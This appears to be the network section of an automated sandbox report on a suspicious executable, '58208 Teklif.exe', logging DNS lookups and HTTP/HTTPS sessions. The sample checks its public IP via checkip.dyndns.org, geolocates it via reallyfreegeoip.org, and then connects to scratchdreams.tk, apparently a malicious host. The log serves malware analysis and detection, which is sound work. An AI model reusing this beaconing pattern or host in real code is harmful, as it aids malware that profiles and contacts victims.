Apr 8, 2024 13:01:55.912213087 CEST	80	49725	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.912643909 CEST	80	49725	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.914294004 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.914329052 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.914422989 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.914788961 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.914803028 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.953566074 CEST	49725	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:56.173917055 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:56.176433086 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:56.176455975 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:56.471406937 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:56.471520901 CEST	443	49726	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:56.471611977 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:56.472430944 CEST	49726	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:56.486008883 CEST	49725	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:56.639471054 CEST	80	49725	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:56.641144037 CEST	49725	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:56.854681015 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:56.854722977 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:01:56.854872942 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:56.855364084 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:56.855376959 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:01:57.121706009 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:01:57.121886015 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:57.123831034 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:57.123845100 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:01:57.124103069 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:01:57.125718117 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:01:57.172230959 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:02:28.314338923 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:02:28.314395905 CEST	443	49727	172.67.169.18	192.168.2.11
Apr 8, 2024 13:02:28.314546108 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:02:28.319888115 CEST	49727	443	192.168.2.11	172.67.169.18
Apr 8, 2024 13:02:56.479568005 CEST	80	49713	193.122.130.0	192.168.2.11
Apr 8, 2024 13:02:56.480092049 CEST	49713	80	192.168.2.11	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2024 13:01:48.556941986 CEST	61151	53	192.168.2.11	1.1.1.1
Apr 8, 2024 13:01:48.682076931 CEST	53	61151	1.1.1.1	192.168.2.11
Apr 8, 2024 13:01:49.742367983 CEST	56104	53	192.168.2.11	1.1.1.1
Apr 8, 2024 13:01:49.867841959 CEST	53	56104	1.1.1.1	192.168.2.11
Apr 8, 2024 13:01:56.485887051 CEST	49191	53	192.168.2.11	1.1.1.1
Apr 8, 2024 13:01:56.853611946 CEST	53	49191	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 8, 2024 13:01:48.556941986 CEST	192.168.2.11	1.1.1.1	0x40f4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:49.742367983 CEST	192.168.2.11	1.1.1.1	0x95ee	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:56.485887051 CEST	192.168.2.11	1.1.1.1	0xebfa	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:48.682076931 CEST	1.1.1.1	192.168.2.11	0x40f4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:49.867841959 CEST	1.1.1.1	192.168.2.11	0x95ee	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:49.867841959 CEST	1.1.1.1	192.168.2.11	0x95ee	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:56.853611946 CEST	1.1.1.1	192.168.2.11	0xebfa	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false
Apr 8, 2024 13:01:56.853611946 CEST	1.1.1.1	192.168.2.11	0xebfa	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49709	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:48.845681906 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:49.539989948 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:49 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>
Apr 8, 2024 13:01:49.548007965 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2024 13:01:49.702605963 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:49 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>
Apr 8, 2024 13:01:50.446862936 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2024 13:01:50.601237059 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:50 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49713	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:51.320504904 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2024 13:01:51.475860119 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:51 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49715	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:52.211030960 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:52.366915941 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:52 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49719	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:53.086651087 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:53.241333008 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:53 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49721	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:53.963572979 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:54.119596004 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:54 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49723	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:54.855967999 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:55.037714958 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:54 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49725	193.122.130.0	80	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
Apr 8, 2024 13:01:55.758650064 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2024 13:01:55.912643909 CEST	276	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:55 GMT Content-Type: text/html Content-Length: 107 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.152.231</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49711	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:50 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-08 11:01:50 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:50 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76011 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWTS1oyLF6iV945BZPo52O1mzWfGIrAuN%2Fz%2BZWNTEF7cCd8PY%2B0pLvBvwneAVnDdW%2BLKbQLSOl56gBEDPsIe1Gqqel1uVUpnuqU4t5Z0TP779m6J6HHFGLoLW0vai9gSk6PfpREN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c2fdc92a3370-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:50 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49712	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:50 UTC	64	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-08 11:01:51 UTC	704	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:51 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76012 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o6reQkPXTG1pMgzPnbGB4t6yY1WU8tsyRKVg2nsh7HXZylR0dMyIH3v3tcdlkhiPh6kbdjohDZHpBewb7gD5x940DDGF4V1KPE1ezmkNu1m0AGdeCPY1LFR3p%2BwhUOKE8Nq2%2B4kD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c3024b04748d-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:51 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49714	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:51 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-08 11:01:52 UTC	706	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:51 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76012 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fvz7BnSXtvkFB%2FaPrH078MMRCEg0hzoz98V%2FIQ93rrrc6LQD7enIBwCI5jfFiC6DU%2Bgwnr2W6raQPOBuFI7NYg5oX7Lm5bsVEmaa7hZ3Rad2ruetmBJzYR3r3K0KJAEoS1mTlAX5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c307ceba7442-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:52 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49717	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:52 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-08 11:01:52 UTC	706	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76013 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KZQsEPa8qD6fGV2vdaj83RRC6UYwpcLsaZAHYCqlaBEeNqHa07Y6yG0FMrgSfc64%2F0GUJh6oVn2QurG%2F1RzjG4spH6TIXBvdltceaDbmZs2kX53AH6uqN%2FOcmFnol5vHToct5rkn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c30d5fa8747d-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:52 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49720	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:53 UTC	64	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org
